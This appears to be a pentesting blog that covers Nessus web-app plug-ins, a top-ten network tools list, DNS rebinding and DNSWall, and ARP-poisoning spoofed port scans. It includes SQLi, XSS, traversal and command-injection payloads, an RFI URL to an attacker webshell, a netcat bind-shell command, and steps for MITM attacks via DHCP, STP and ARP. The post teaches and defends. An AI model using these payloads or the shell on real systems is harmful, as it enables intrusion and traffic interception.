Securebits Blog

Nessus, ranked the first among the top 100 security tools, has been known traditionally as a “network” vulnerability scanner. Nessus scans Operating Systems and services at the TCP/UDP layer and below, and discovers vulnerabilities in these services. Nessus has not been known to scan the applications running on top of TCP/UDP layer. Scanning and discovering vulnerabilities in Web Applications have been left to specialized scanners which only scan and pen-test web applications.

Recently, the Nessus research team has extended the capability of Nessus to start targeting Web Applications. The research is still going on to produce effective plug-ins and parameters for enhancing the capability of scanning Web Applications. Now, there is a Nessus plug-in for every web application vulnerability class; the following is a list of these vulnerability classes along with references to their corresponding Nessus plug-ins:

1. SQL Injection Vulnerability Class
Plug-in Name: sql_injection.nasl
Plug-in Family: CGI abuses

This plug-in tests for SQL Injection vulnerabilities. It tries to insert abnormal data into any input field the user has access to, and checks whether the application returns any unexpected error. For example, inserting data such as “ or 1=1;-- or ‘or ‘a’ =’a could actually return an error or break the application if it is vulnerable to SQL Injection.

2. Cross-Site Scripting (XSS) Vulnerability Class
Plug-in Name: torture_cgi_cross_site_scripting.nasl
Plug-in Family: CGI abuses : XSS

This plug-in tests for both reflective and persistent XSS vulnerabilities. Just like the previous test (i.e. SQL Injection), this test involves inserting abnormal data into input fields and monitor how the application behaves. Simple examples of XSS injection are:
(a) <script>alert('XSS')</script>
(b) <IMG """><SCRIPT>alert("XSS" )</SCRIPT>">

3. HTTP Header Injection Vulnerability Class
Plug-in Name: torture_cgi_header_injection.nasl
Plug-in Family: CGI abuses

This plug-in injects arbitrary data in the input fields of the web application and monitors the HTTP headers of the responses. If the response header could be influenced by the arbitrary injected data, it is said that the application is vulnerable to HTTP Header injection. For example, let’s say that the “username” sent from an input field becomes part of the cookie set by the server; this cookie will be part of the HTTP response. We can insert in the username field the following data: myname\r\nSet-Cookie: MyInjectedCookie=injected If the server is vulnerable to HTTP Header Injection, the HTTP header in the response will contain an additional entry which will create a new (injected) cookie in the user’s browser.

4. Path Traversal Vulnerability Class
Plug-in Name: torture_cgi_directory_traversal.nasl
Plug-in Family: CGI abuses

This plug-in discovers whether the web application is vulnerable to a path traversal vulnerability. Path Traversal (or Directory Traversal) happens when the end user (probable an attacker) is able to get outside the permitted used web directory and start navigating through directories which he/she is not allowed to navigate. For example, under normal circumstances, the end user cannot access the file /etc/passwd on the web server. However, if the web server is vulnerable to a Directory Traversal, inserting data like ../../../../../../../../../etc/passwd in an input field could result in the attacker being able to view the passwd file.

5. Remote File Inclusion Vulnerability Class
Plug-in Name: torture_cgi_remote_file_inclusion.nasl
Plug-in Family: CGI abuses

A web application is said to be vulnerable to File Inclusion when the attacker is able to execute (i.e. include) his/her own PHP code in that remote web application. The attack exploits the PHP function include($filename) , or other similar functions, when the argument $filename can be modified from the client side and there is no proper checking on the server side. For example, the application might display a page requested by the URL:
http:// www .example.com/index.php?page=validpagename
The PHP code that processes the page variable is:
include($page);
The attacker can run his/her own php code using a URL like this:
http:// www .example.com/index.php?page=http://attacker.org/webshell.php

6. Command Execution Vulnerability Class
Plug-in Name: torture_cgi_command_exec.nasl
Plug-in Family: CGI abuses

Command Execution Vulnerability allows the attacker to execute arbitrary commands on the remote web server due to the lack of proper input validation. For example, an application that takes an IP address from the user and performs “ping” quest towards that target might use a URL like:
http:// www .example.org/index.php?ip=1.1.1.1
The PHP code that processes this URL might be the following:
system(“ping $ip");
Due to the lack of input validation, an attacker can execute any command like:
http:// www .example.org/index.php?ip=1.1.1.1;ls

For scanning web applications, two Nessus plug-in Families must be selected: “CGI Abuses” and “CGI Abuses: XSS.” These two families contain all plug-ins related to web application penetration test including the 6 plug-ins mentioned above. It is also recommended to select other plug-in families like “Database” and “FTP” since normally a web application needs a database for storage and an FTP so that the administrator can remotely update the files.

I created following downloadable Nessus file <webapps.nessus> which contains three policies for web application testing; each policy is defined by its level of aggressiveness as follows:

(1) Web Application Test (level 1)
- This policy is the least aggressive one among the three.
- It has the following Plug-in Families enabled: CGI Abuses, CGI Abuses: XSS, Databases, General, Service Detection, and Web Servers.
- This policy has the option “Safe Checks” enabled; this option will make sure that the scan does not cause the target to crash.
- The following advanced Global Variable Settings options are enabled:
Enable CGI Scanning, Enable Experimental Scripts, and Thorough Tests (slow)
- The following advanced Web Application Tests Settings options are enabled:
Enabled Web Application Tests and Send POST requests

(2) Web Application Test (level 2)
- This policy is moderately aggressive one among the three.
- It has the following Plug-in Families enabled: CGI Abuses, CGI Abuses: XSS, Databases, FTP, Gain a Shell Remotely, Gain Root Remotely, General, Service Detection, and Web Servers.
- This policy has the option “Safe Checks” enabled; this option will make sure that the scan does not cause the target to crash.
- The following advanced Global Variable Settings options are enabled:
Enable CGI Scanning, Enable Experimental Scripts, and Thorough Tests (slow)
- The following advanced Web Application Tests Settings options are enabled:
Enabled Web Application Tests and Send POST requests

(3) Web Application Test (level 3)
- This policy is the most aggressive one among the three.
- It has the following Plug-in Families enabled: CGI Abuses, CGI Abuses: XSS, Databases, FTP, Gain a Shell Remotely, Gain Root Remotely, General, Service Detection, and Web Servers.
- This policy does NOT have the option “Safe Checks” enabled; this will cause the scanner to fire dangerous plug-ins that may cause DoS or may cause the target to crash.
- The following advanced Global Variable Settings options are enabled:
Enable CGI Scanning, Enable Experimental Scripts, and Thorough Tests (slow)
- The following advanced Web Application Tests Settings options are enabled:
Enabled Web Application Tests, Send POST requests, and Test Embedded Web Servers.

Finally, it is worth mentioning that the Nessus application can integrate Nikto application, a small and fast web server scanner, into its scan. This is done through the plug-in Nikto.nasl that is part of the CGI Abuses family. There are few important point to take into consideration when incorporating Nikto with Nessus:
- The Nikto.nasl only runs on UNIX systems.
- Nikto application must be installed manually by the user.
- The script nikto.pl must be in the PATH of the same account that runs Nessus.

References
1. Enhanced Web Application Attacks Added to Nessus
2. Tips for Using Nessus in Web Application Testing
3. Using Nessus to call Nikto

I decided to dedicate this entry to my favorite 10 network security tools. I use them mostly while engaging in a penetration test, while debugging a network application, or during a research development. With the exception of the first tool, Nessus, all the other nine tools are “open-source”; Nessus used to be an open-source application until version 3.0 when it became close-source.

[1] Nessus

According to “Top 100 Network Security Tools”, Nessus occupies the first place. It is a full-blown vulnerability scanner with over 20,000 plugins. Nessus3 stores all hosts, policies, and reports in one *.nesses file which makes organizing reports and policies easier. When I scan a specific subnet (/24 for example), I usually feed Nessus with “live” hosts found by Nmap and group every 10 hosts in one scan. Although Nessues comes with two scan policies: Default Scan Policy and Microsoft Patches Policy, I create additional policies for ease of management; usually these policies are:

Remote Shell/Root Access: This policy comprises plugins for gaining remote shell/root to the target system.

Service Detection/Port Scanning: This policy only finds out the open ports along with the listening services.

Network Devices: This policy is made for testing network devices like routers, switches and printers. It includes plugins related only to these devices.

Windows Systems: This policy tests only windows machines.

UNIX Systems: This policy is made to test UNIX, Linux, *BSD, etc machines.

ALL: This policy includes all the Nessus plugins. It scans a target for everything Nessus has got knowledge of.

The Nessus community has also released useful policies; one of them is “SANS Top 20” policy which scans for SANS Top 20 Security Risks.

[2] Nmap

The Nmap Security Scanner is a general-purpose port scanner, O.S. detector, and service identifier. It features different types of scanning methods (SYN, ACK, XMAS, etc) where a combination of these methods enable the user to detect if the target system is filtered/unfiltered, or perform stealth scan. Nmap also features wide range of Host Discover, typically: (1) Echo Request, (2) TCP ACK -PA, (3) TCP SYN –PS, (4) UDP –PU, (5) ICMP Echo –PE, and (6) ICMP Timestamp -PP. TCP SYN (-PS) is best used against stateful firewalls while TCP ACK (-PA) is best used against stateless firewall. It is recommended to use both types of TCP discovery methods combined with well-known open ports. A sophisticated way to perform host discovery can be done by issuing the following command:

namp –sP –PE –PP –PS 21,22,23,25,80,113,31339 –PA 80,113,443 10.1.0.0/24

The (-sP) instructs Nmap to perform only host discovery. The (-PE) and (-PP) options perform ICMP discovery while the (–PS) and (-PA) options perform TCP host discovery using the specified ports.

Nmap is relatively fast scanner. When I scan an internal host that is one hope away and there is no filtering device/engine, scanning ports 1-65535 takes approximately 6-10 seconds; link speed is 100 Mbps. The command for such scan is usually:

nmap –v –sS –p 1-65535 <ip_address>

However, sometimes Nmap will slow down the rate due to many filtered (or unreachable) ports. If the auditor wants to speed up such scan, Nmap can be forced to send no less than a particular rate using the option (--min-rate); I usually set this to 5000 or 6000, so the command would be:

nmap –v –sS –p 1-65535 –min-rate 5000 <ip_address>

There are situations where scanning large number of ports is not recommended, the auditor may, in this case, scan only the most commonly open TCP and UDP ports which are: 80/tcp, 23/tcp, 22/tcp, 443/tcp, 3389/tcp, 445/tcp, 139/tcp, 21/tcp, 135/tcp, 25/tcp, 137/udp, 161/udp, 1434/udp, 123/udp, 138/udp, 445/udp, 135/udp, 67/udp, 139/udp, and 53/udp.

[3] Xprobe

Xprobe is an accurate Operating System fingerprinting tool. It primarily based on ICMP protocol; however, it also uses a bit of TCP/UDP combination. Xprobe's uniqueness is in sending small number of packets, around 2-3 ICMP packets and 1-2 TCP/UDP packets, to fingerprint the remote OS. The easiest way to run Xprobe is by providing the IP address of the target system:

xprobe2 10.1.10.241

Xprobe would give a better result if it is told about an open port on the remote host. For example, when I run the tool against Windows XP SP2 box without specifying a port status, the primary guess was “Microsoft Windows 2003 Server Standard Edition”. However after specifying the open port 139/tcp, the primary guess was “Microsoft Windows XP”.

[4] HPing

Hping is a tool for sending customized ICMP, TCP, UDP and Raw IP packets. The tool enables the user to play with the fields of any packet header. The tool is useful for detecting live systems on the network using various methods. Since some systems disable “ping” (ICMP Echo), an auditor may use different types of ICMP (like Timestamp) to detect if the target system is up, or he/she may use a TCP ping by sending a TCP packet with ACK flag set. Also, Hping is useful to test firewalls and IDS/IPSs; the auditor may fine tune those systems by sending unusual customized packets through them. Hping also can fragment packets into tiny pieces – a good method to evade and test IDSs.

An example of testing a firewall is to send a TCP packet with SYN_ACK flags set and check whether the firewall passes such packet even though it is not part of an established connection. The following command sends a TCP packet with source port 80, destination port 54231, and TCP flags SYN_ACK:

hping2 –S –A –s 80 –p 54231 10.10.10.10

[5] Yersinia

This is the tool of trade to perform protocol attacks applicable to the local subnet. It supports many different protocols including DHCP, STP, HSRP, CDP, VTP, ISL, etc. The most common modules I always use are for the protocols DHCP, STP, HSRP, and CDP. The following attacks for these protocols are most useful:

• Spanning Tree Protocol (STP)
1- Claiming Root Role
2- Claiming Root Role dual home (MITM)

• Dynamic Host Configuration Protocol (DHCP)
1- DoS sending RELEASE packet (releasing assigned ip)
2- DoS sending DISCOVER packet (exhausting ip pool)
3- Setting up rogue DHCP server

• Hot Standby Router Protocol (HSRP)
1- Becoming active router with MITM

• Cisco Discovery Protocol (CDP)
1- Setting up a virtual device

After passively sniffing the local subnet for few minutes, if the auditor notices that switches in the local subnet are glued using Spanning Tree Protocol (STP) to maintain redundancy, he/she can mess up the actual topology by sending “fake” STP packets in a special way to declare his/her machine as the root of the logical switching tree. Thus, his/her machine becomes the point where all subnet traffic comes to. Concurrently, he/she should forward the traffic to the destination so that no disconnection or DoS is felt by other users. Yersinia automates this attack smoothly.

Just like the case with STP, if the auditor captures HSRP packets in the local subnet, it is likely that there two routers configured as active-standby with a single virtual IP address. HSRP uses clear-text authentication phrase/word (similar to SNMP community string) which can be sniffed by any one located within the subnet. Sending special HSRP packets can mess up the actual router status and declare a third machine as the “Active” router. In this case, all the traffic destined to the outside world would be sent locally first the machine declared as “Active”. For full traffic interception, the auditor would need to forward the traffic to one of the two routers. The ID of this attack in Yersinia is “2”

Another way to intercept traffic is to give local machines false DHCP information about the default gateway. The best way this can be done is through the following steps:

1. RELEASE all the assigned IP addresses from the DHCP server (Yersinia DHCP attack 3)
2. Exhaust the DHCP pool by acquiring all the IP addresses in that pool (Yersinia DHCP attack 1)
3. Declare your machine as DHCP server – set the default gateway entry to the IP address of your machine (Yersinia DHCP attack 2)
4. Forward all received IP traffic from the local machines to the real gateway and vice versa.

[6] Ettercap

I use this tool for only one thing: Layer 2 ARP traffic interception in a switched LAN. When Ettercap starts, it builds a table of all existing live hosts in the subnet along with their MAC addresses. Traffic interception can be any of the following shapes:

A. Intercepting traffic between two hosts.
B. Intercepting traffic between a specific host and every other host.
C. Intercepting traffic between a specific host and the gateway/router.
D. Intercepting traffic between the gateway/router and all other hosts.

When the two sides of the intercepted traffic have been decided, Ettercap poisons each side with fake ARP entry/entries about the other side; this is done by sending first a false ICMP packet followed by another false ARP reply packet. The poisoning packets are sent regularly at a periodic basis. When this is done, Ettercap performs all the necessary traffic forwarding so that both sides do not feel any disturbance in their traffic activities.

[7] Netcat

Netcas has been described as the network Swiss-army knife, a no-hacker-should-be-without tool. It is a multi-purpose tool providing TCP connections, TCP listener, file transfer, process-to-connection attachment, etc. It can be use as a substitute to “telnet” especially when connecting to HTTP, SMTP, or POP3 servers. Practically, I use “netcat” to do the following:

A. Connecting to HTTP, SMTP, or POP3 servers while pen-testing or diagnosing a network:

nc <server_ip> [80|25|110]

B. Sending a specially-crafted TCP payload to a listening service:

nc <server_ip> <port> < payload_file

C. Listening on a particular TCP port:

nc –l –p <port>

D. Attaching a process (mainly a shell) to a particular port:

nc –l –p <port> -e /bin/sh

[8] Ngrep

Ngrep is network tool that functions similar to the infamous UNIX grep command. It applies regular expressions on network traffic and shows packets that match such regular expressions. It is best suited to search ASCII-based protocols, like SMTP, POP3, HTTP, FTP, etc. From the man page:

ngrep strives to provide most of GNU grep's common features, applying them to the network layer. ngrep is a pcap-aware tool that will allow you to specify extended regular or hexadecimal expressions to match against data payloads of packets. It currently recognizes IPv4/6, TCP, UDP, ICMPv4/6, IGMP and Raw across Ethernet, PPP, SLIP, FDDI, Token Ring and null interfaces, and understands BPF filter logic in the same fashion as more common packet sniffing tools, such as tcpdump and snoop.

Examples of ngrep usage:

ngrep –d 2 cisco

ngrep –d 2 administrator

[9] Wireshark

Wireshark is an all-in-one network sniffer and packet analyzer. It can decode and inspect hundreds of protocols. It has an interactive GUI displaying the packet headers, the current decoded packet, HEX dump, and ASCII dump. Wirshark is compatible with Tcpdump – both of them can save packets to *.pcap files and read/analyze the files off-line. Also, Wireshark has a very nice colorful scheme making distinction between different protocol packets (tcp, udp, icmp, http, ftp, ntp, etc) easier and quicker.

A recently-added feature allows the decryption of SSL/TLS traffic provided that the private key is supplied and that Wireshark captures the whole of transaction. This is useful when doing a white-box pent-testing against a web application that runs over SSL/TLS; since in a white-box test, the auditor has access to the web server along with the application source code, he/she may extract the private key and install on Wireshark running on his/her client machine. The auditor can then analyze the application by inspecting the decrypted network traffic between the client and the server.

Wireshark supports two packet filtering modes: the first is capture filtering, and the second is display filtering. The capture filter string is applied to capturing engine and only packets matching the string will be captured; the rest are discarded. The display filter string specifies which packets the user wants to see. Captured packets not matching the string will not be shown; however, they are still saved and the user can view them later by changing the display filter again. The capture filtering uses the Berkeley Packet Filter (BPF) syntax. Examples of such filtering strings are:

dst host 10.10.10.10 and dst port 80

src host 10.10.10.10 or src host 10.10.10.20 and dst port 21

Examples of display filtering strings are:

http

ip.src == 10.10.10.10 and tcp.dstport == 53

[10] Firewalk

This tool is meant for finding the Access Lists configured on a filtering device (e.g. Router, Firewall, etc). Given a known filtering device and a known system behind that device, Firewalk will attempt to figure out what TCP/UDP ports are allowed to pass through that filtering device and what ports are denied.

I uploaded a new version (V1.5) of the Dynamic Port Scanner (DPS), a reliable spoofed source IP port scanner. The major addition to this new version is the multi-threading capability which makes the scanning process faster.

Link: The home page of the DPS project
Link: Download dps-v1.5.tar.gz

"The sole idea of the Dynamic Port Scanner (DPS) is to provide a reliable spoofed source IP port scanner. The spoofed source IP is dynamically generated at run time and it varies for every scan packet; every scan packet carries a random spoofed source IP. Traditionally, a port scan with a spoofed source IP has been considered unreliable due to the fact that reply packets would not reach back the scanning system. However, the technique used by DPS ensures the reliability of such spoofed scan. This technique is based on the integration of ARP Poisoning into port scanning to achieve the desired result. The spoofed IP addresses used by DPS during a scanning process fall within the range of the local subnet. Thus, DPS is best suited for internal scanning."

DNSWall is a proof-of-concept (PoC) tool developed by some security researchers from Stanford University as a protection mechanism against DNS rebinding attacks. In their research paper “Protecting Browsers from DNS Rebinding Attacks”, Collin Jackson et al. discuss the DNS Rebinding vulnerabilities, attacks, and defenses.

DNS rebinding attack exploits the web browser same-origin policy. The same-origin policy states that a web browser can run scripts (e.g. Javascript, Flash, etc) that communicate with ‘another’ web site as long as the original website and the second one share the same origin. The same-origin policy defines three conditions: (a) same protocol, (b) same port, and (c) same hostname. For example, the address "http://www.securebits.org" and the address "https://www.securebits.org" do not share the same origin, and thus, cannot script against each other. The web browser does not allow scripts from "http://www.securebits.org" to communicate freely with "https://www.securebits.org". On the other hand, the address "http://www.securebits.org:8080" and the address "http://www.securebits.org:8080/somefolder/" are said to have the same origin because they share the same protocol (http), the same port (8080) and the same hostname (www.securebits.org).

An attacker can exploit this policy by rebinding the hostname of a particular website to an IP address that is different than the original one. Usually, the attacker would build a website that is under his/her control. He/she also controls the DNS server that resolves the DNS queries related to that website. When the victim accesses the website for the first time, the DNS server gives out the correct IP address. However, later on, the attacker rebinds the hostname of the website with a false IP address - usually an IP address that the attacker does not have access to – so that any subsequent link to the website will be directed to that IP address. By doing this, the attacker can script against the IP address – he/she can port scan, bypass firewall, access systems, etc.

To illustrate this with an example, let’s say that the victim’s machine is behind a firewall and has the IP 10.10.10.5. In the same network, there is a printer with the IP 10.10.10.8. The printer can be accessed through a web interface and normally does not prompt for username/password since it is in a private network and is only accessible by trusted systems within the network. The attacker, who is outside in the Internet, would build a website "www.example.com", and also control a DNS server that resolves the hostname "www.example.com" to the IP 65.54.43.32. Through social engineering tricks, the attacker would trick the victim to visit the website "www.example.com". Initially, the browser will send a DNS query to resolve that name and eventually will get the IP 65.54.43.32. When the client visits the website, the contents of the website are downloaded. The attacker sets a script (Javascript or Flash) that initiates a connection to the “hostname” (www.example.com). By the time this script is executed by the browser, the browser needs to query the DNS again to resolve the hostname "www.example.com". At this time, the attacker’s DNS server will reply with the IP address 10.10.10.8, basically rebinding the hostname to a different IP. Now, the script will actually initiate the connection with the local printer and can re-configure it.

This type of DNS rebinding attack is called “Firewall Circumvention” and it is one of the typical attacks using DNS rebinding technique. The example above mentioned “a printer” as an example; however, any internal device, such as a DSL router, switch, server, etc, can be a target of DNS rebinding attack.

Dnswall is a program that runs on the corporate network DNS server. Its sole purpose is to prevent the resolving of public names to internal IP addresses. According to the authors:

“By blocking outbound traffic on port 53, a firewall administrator for an organization can force all internal machines, including HTTP proxies and VPN clients, to use a DNS server that is configured not to resolve external names to internal IP addresses. To implement this approach, we developed a 300 line C program, dnswall, that runs alongside BIND and enforces this policy.

[…] Many consumer firewalls, such as those produced by Linksys, already expose a caching DNS resolver and can be augmented with dnswall to block DNS responses that contain private IP addresses. The vendors of these devices have an incentive to patch their firewalls because these rebinding attacks can be used to reconfigure these routers to mount further attacks on their owners”

The Dnswall program runs as an intermediary proxy DNS server between the client and the real forwarder server. It intercepts the DNS queries sent by clients, forwards the query with little modification, receives and forwards the reply to the client only when the IP address in the answer payload is public. If the answer IP address is private/multicast, the Dnswall sends NXDOMAIN reply. Particularly, the program checks for IP addresses in the following ranges:

- Invalid IP address: an IP address that starts with 0; i.e. 0.x.x.x
- Node-Local IP address: 127.x.x.x
- Link-Local IP address: 169.254.x.x
- Site-Local IP address: 10.x.x.x, 172.x.x.x, 192.168.x.x
- Multicast IP address: 224.x.x.x

The program can run with the following arguments:

     ./dnswall -b (bind ip) -B (bind port) 
       -f (forwarder ip) -F (forwarder port)

Where ‘bind ip’ is the listening IP address, ‘bind port’ is the listening port number, ‘forwarder ip’ is the IP of the real DNS server, and ‘forwarder port’ is the port on which the forwarder is listening.

Finally, an important point to mention is that the Dnswall program forwards DNS queries after modifying the TXID of the original query. This is done to map the replies with their original queries. However, the new TXID used is sequentially incremented, starting from 0 to 65536. This opens the door to the opportunity of DNS cache poisoning. An attacker would predict the TXID and inject a false response to poison the DNS cache of the client machine. The code snippet that handles this is:

  // Replace the id with our own query identifier
  *((short *)&msg[0]) = htons(current_query);
  current_query++;
  if (current_query >= 65536)
   current_query = 0;

Administrators who seriously want to deploy Dnswall needs to do a little modification to this code to prevent the poisoning attacks. Mainly, a randomization algorithm should be used to select new TXID, or at least preserve the same original TXID.

IP spoofing is one of the techniques used by attackers to perform different attacks. It could be used while flooding a network, SYN-attacking a server, generating IDS false positives, etc. The rule when spoofing the source IP address is that replies do not matter to the attacker since replies will be sent to the spoofed IP and will not reach the attacker. Implementing an attack that requires an interactive communication between the attacker’s machine and the victim cannot take place with a spoofed IP address.

Port scanning is the technique to discover open ports on a remote system. To discover an open TCP port, the attacker needs to send a TCP SYN packet to a specific port and receive one packet back. If the received packet is a SYN_ACK packet, the port is open. If the received packet is a RST packet, the port is closed. If no reply is received, the port is filtered by a firewall or any other filtering engine. The reply packet, whether it is a SYN_ACK or RST, must reach the attacker’s machine so that it will be examined. This requires that the received packet is destined to the IP address of the attacker’s machine (or at least an IP address that is under control of the attacker) which in turn requires that the scanning packet sent by the attacker contains the actual source IP address of the attacker. So, the basic operation of port scanning cannot be done with a spoofed IP address.

Nmap, the infamous port scanner, can send spoofed scan packets. However, it is not meant as a reliable scan. Meaning, the attacker will not get reliable results of his/her scan. Such spoofed scan can be used to elude the IDS/IPS and generate huge amount of signatures. Also, it could be used as a way to divert the attention of the target corporate organization to another competitor organization; the spoofed scan will appear as if it is coming from the competitor organization.

However, the question is: can we have spoofed port scanning that is reliable? The answer is ‘Yes’ but with the following two constraints:
[1] The port scan should be conducted internally within a LAN; for example, the port scan can be part of an internal security audit or penetration test. The technique used to achieve this reliable spoofed port scan cannot be implemented over a WAN.
[2] The spoofed IP addresses used during the port scan should fall within the range of the local subnet. For example, if the attacker’s machine is in class C (255.255.255.0), he/she can use any of the 253 valid IP addresses within the subnet range; if subnet is a class B (255.255.0.0), the pool of valid spoofed IP addresses is 65533.

The technique to achieve this reliable spoofed port scan is based on integrating ARP poisoning with port scanning. ARP poisoning refers to the ability of the attacker to insert a fake entry in the ARP cache of the victim machine. This fake entry links an IP address, which is within the same subnet range of the victim’s machine, with a false MAC address. The entry will cause any traffic destined to that particular IP address to be destined, at layer 2, to the machine with the MAC address associated with the IP address. An attacker will typically insert fake entries that link different IP addresses to the MAC address of his/her machine; thus, all local traffic will be delivered to his/her machine. A typical use of ARP poisoning is to achieve layer 2 traffic interception between two machines (either of them could be even a router or gateway.)

The process of doing a reliable spoofed port scanning works by poisoning the ARP cache of the remote machine with a false entry that links the spoofed source IP address used in the scanning with the MAC address of the attacker’s machine. For every spoofed source IP used, the attacker needs to inject a fake ARP entry for it. It is also important to note that there is a difference between scanning a system that is located within the local subnet and a system that is in a different subnet. When scanning a system located locally, the ARP cache of this machine needs to be poisoned; however, when scanning a system located outside the local subnet, the ARP cache of the router/gateway is what needs to be poisoned. This is because the ARP protocol functions at layer 2 which cannot be routed externally to other networks.

To effectively poison an ARP cache of a remote machine, two ARP packets at maximum are needed or one ICMP packet and one ARP packet. In the case of two ARP packets, the first one is an ARP request while the second is an ARP reply. Both packets contain the following arguments: the destination MAC address is the victim MAC address, the source MAC address is the attacker’s MAC address, the destination IP address is the victim’s IP address, and the source IP address is the spoofed IP address which the attacker wants to inject. For example, let’s assume the following scenario:
a. The victim’s IP address is 10.10.10.10
b. The victim’s MAC address is aa:aa:aa:bb:bb:bb
c. The attacker’s IP address is 10.10.10.3
d. The attacker’s MAC address is bb:bb:bb:cc:cc:cc
e. The attacker wants to intercept traffic going from the victim to 10.10.10.50

The attacker, then, sends two ARP packets (the first is ‘Query’ and the second is ‘Reply’) to the victim with the following arguments:
a. Source IP is 10.10.10.50
b. Destination IP is 10.10.10.10
c. Source MAC is bb:bb:bb:cc:cc:cc
d. Destination MAC is aa:aa:aa:bb:bb:bb

These two packets will inject the following spoofed entry in the ARP cache of the remote machine:
10.10.10.50 is at bb:bb:bb:cc:cc:cc

This will cause any packet sent by the victim machine (10.10.10.10) to 10.10.10.50 to be switched at layer 2 to the attacker’s machine.

By integrating the technique of “ARP Poisoning” into “Port Scanning”, we can have a reliable spoofed source IP port scanning. What is needed is to poison the remote machine (or the gateway) with a fake entry that links every used spoofed source IP with the attacker’s MAC address. Such will cause any scan reply to be delivered to the scanning machine. The algorithm for the whole process of spoofed scanning would be as follows:
1. Check whether the scan target is within the local subnet or outside.
2. If it is within the local subnet, the “poisoning target” is the same as the “scan target”. If the “scan target” is outside the local subnet, then the “poisoning target” is the “gateway”
3. Generate a random spoofed source IP that falls within the local subnet.
4. ARP-poison the “poisoning target” with a fake entry that directs all traffic destined to the spoofed IP to the attacker’s machine.
5. Send the scan packet to the “scan target”
6. Wait for a reply with the same MAC address as the attacker’s MAC address.

Generating different spoofed IP with every scanning packet (one packet for one port) would make the scan appear as if it is distributed between multiple (fake) systems. H.K. has generated a live image with Etherapp tool representing the distribution of the spoofed port scanning: